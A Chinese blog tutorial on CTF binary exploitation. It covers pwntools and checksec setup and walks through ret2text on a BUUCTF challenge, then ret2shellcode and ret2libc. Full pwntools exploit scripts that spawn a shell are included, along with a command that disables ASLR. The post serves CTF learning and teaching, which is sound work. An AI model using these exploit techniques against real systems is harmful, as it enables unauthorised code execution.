PWN 栈溢出

环境配置

  • Python3
  • pip
  • gdb-pwndbg 插件
  • pwntools
  • IDA
  • checksec

checksec 安装以及基本环境

使用 apt 安装的最新版的用不习惯,如果安装了pwntools,里面会自带checksec工具

sudo apt install checksec

用法

image-20251005163822224

checksec --file=[文件名]

或者

pwn checksec [文件名]

pwntools 安装以及基本用法

  • 使用 pip 安装 (win)
pip install pwntools
  • 使用 apt 安装 (Linux)
sudo apt install python3-pwntools

用法

  1. 导入模块
from pwn import *
  1. 打开链接
# 本地连接
io = process("文件")

# 远程连接
io = remote("[ip]",[端口])
  1. 从服务器接收数据
#接收一行数据
io.revcline()

# 全部接收
io.recv()

# 在读到 test 之前一直读入数据
io.recvuntil('test')

# 读入 10 位数据
io.recv(10)
  1. 向服务器发送数据
# 发送一行数据
io.sendline()

# 如果是32位程序则需要把数据打包成32比特宽度的字节流的形式
io.sendline(p32(''))

# 如果是64位程序
io.sendline(p64(''))
  1. 进入交互模式
io.interactive()

栈溢出 (Stack Overflow)

一种后进先出的数据结构

image-20251008093049662

栈是计算机内存中的一块特殊区域,用于存储函数调用时的局部变量、函数参数、返回地址等信息。栈遵循后进先出(LIFO)的原则,即最后进入栈的数据最先被取出。

栈是从高地址向低地址延伸的。每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)

原理

栈溢出指的是在程序向栈中写入数据时,程序没有限制输入数据的大小,写入的数据量超过了栈的剩余空间,导致数据溢出到相邻的内存区域,覆盖了原本不应被修改的数据,如函数的返回地址,所以攻击者可以构造恶意代码来 getshell

ret2text

Return To Text

这里用 buuctf PWN 方向第二题 rip

信息搜集阶段

  1. 拿到程序之后先检查一下程序的位数,看看用 ida64 还是 ida32

  1. checksec 检查一下程序的保护状态,可以看到 Stack 栈溢出保护没有开,所以有很大可能是栈溢出

image-20251008100722937

在 ida 中分析程序

  1. 使用 ida64 打开程序

image-20251008101019692

  1. 在左侧的栏内找到 main 函数,双击之后按 Tab 键可以查看反编译后的伪代码

image-20251008101221201

  1. 可以看到有一个 gets 函数,基本上确定是栈溢出攻击了。
  2. 双击变量 s 查看栈帧,可以推断出来需要填充的垃圾数据的长度 0xF + ebp [如果是 64 位程序就是 8,如果是32位程序就是 4]

image-20251013182957343

确定垃圾字符的长度

在上一步操作中已经推断出来了,但是还有另外几种方法,在此记录一下,具体以 gdb 调试的结果为准

  1. 使用 堆栈指针 , 在 选项 - 常规 中 勾选 堆栈指针

image-20251013183541427

可以确定长度 为 0x18

  1. 使用 pwngdb 调试

    1. gdb + 文件名 进入gdb调试界面
    2. starti 执行 disass main 查看 main 函数的反汇编代码,b *[16进制地址] 在输入数据的地方打断点
    3. run 运行程序 n 输入输入 AAAAAAA ,在 0x7fffffffdd61 处输入 ,在 0x7fffffffdd78 之后跳出

    image-20251013194932319

    image-20251013195047001

    1. p/d 地址1-地址2 计算一下要填充垃圾字符的位数,得到 长度为 23 是个不是 8 的倍数,同时又是一个64位的程序,所以要考虑 堆栈平衡 的问题
  2. 使用 msf 自带的命令生成垃圾字符

    1. msf-pattern_create -l 400 生成一段长度为 400 的垃圾字符

    image-20251013195802033

    1. 依旧是进入 pwngdb 调试,打完断点之后在输入数据的地方将这个长度为 400 的字符串传进去,寻找 RBP

    image-20251013200151394

    1. RBP 只能截取到 a6Aa 说明被撑爆了,只需要看看 a6Aa 这个字符串在刚刚生成的字符串的位置即可
    2. msf-pattern_offset -q a6Aa 算出来19 再加上 a6Aa 本身的长度4 ,就是 23

    image-20251013200743468

找到可以利用的shell函数地址

  1. 在 IDA 中 按 SHIFT + F12 可以查看可打印字符

image-20251013201019052

  1. 双击之后 按CTRL + X 交叉引用一下,拿到地址为0x40118A

image-20251013201509913

编写 EXP

from pwn import *

io = remote("node5.buuoj.cn",29582)
addr = 0x40118A
payload = b'a'*23 + p64(addr+1) # 堆栈平衡,所以这里要 +1

io.sendline(payload)
io.interactive()

ret2shellcode

同样是栈溢出,但是程序中没有可以利用的后门函数,这个时候就需要生成shellcode

原理

攻击者需要将 shellcode (shell 的机器码)注入到内存当中,随后lion给栈溢出复写 return_address,使程序跳转至 shellcode 所在的内存地址

注意 : 需要在 ASLR 保护机制没有开启的情况下才能利用成功

ASLR 保护机制

地址随机化

开启之后,每次程序加载是 stack、libaries、heap的基址都会随机化。

三种状态

  1. 随机化关闭
echo 0 > /proc/sys/kernel/randomize_va_space

EXP

生成shellcode

shell_code = asm(shellcraft.sh())
  • 完整exp 案例
from pwn import *


io = remote("node5.buuoj.cn",27627)
buf_addr = 0x233000
offset = 56
shell_code = asm(shellcraft.sh())
payload = b'a'*56 + p64(buf_addr)

io.sendline(shell_code)
io.recvline()
io.sendline(payload)

io.interactive()

print(payload)

ret2libc

当程序开启了NX保护,我们无法执行写入的shellcode时,可以通过这个手法来拿到shell

32位

payload 格式

payload = b'a' * [垃圾数据长度] + p32(_system 地址) + p32(0) + p32(/bin/sh 地址)
  • exp
from pwn import *

io = remote("localhost",12345)
elf = ELF("./pwn")
libc = ELF("/usr/lib32/libc.so.6")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload1 = b'a'*140 + p32(puts_plt) + p32(main_addr) + p32(puts_got)

io.send(payload1)
tmp = io.recvuntil(b'\xf7')
leak_addr = u32(tmp[:4])
libc_base = leak_addr - libc.symbols['puts']

system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*140 + p32(system_addr) + p32(0) + p32(bin_sh_addr)

io.send(payload)
io.interactive()

64位

payload 格式

payload = b'a' * [垃圾数据长度] + p64(rdi) + p64(/bin/sh 地址) + p64(_system 地址)

PWN 栈溢出
https://blog.lixey.top/PWN-栈溢出/
Author
Lixiney
Posted on
May 25, 2026
Licensed under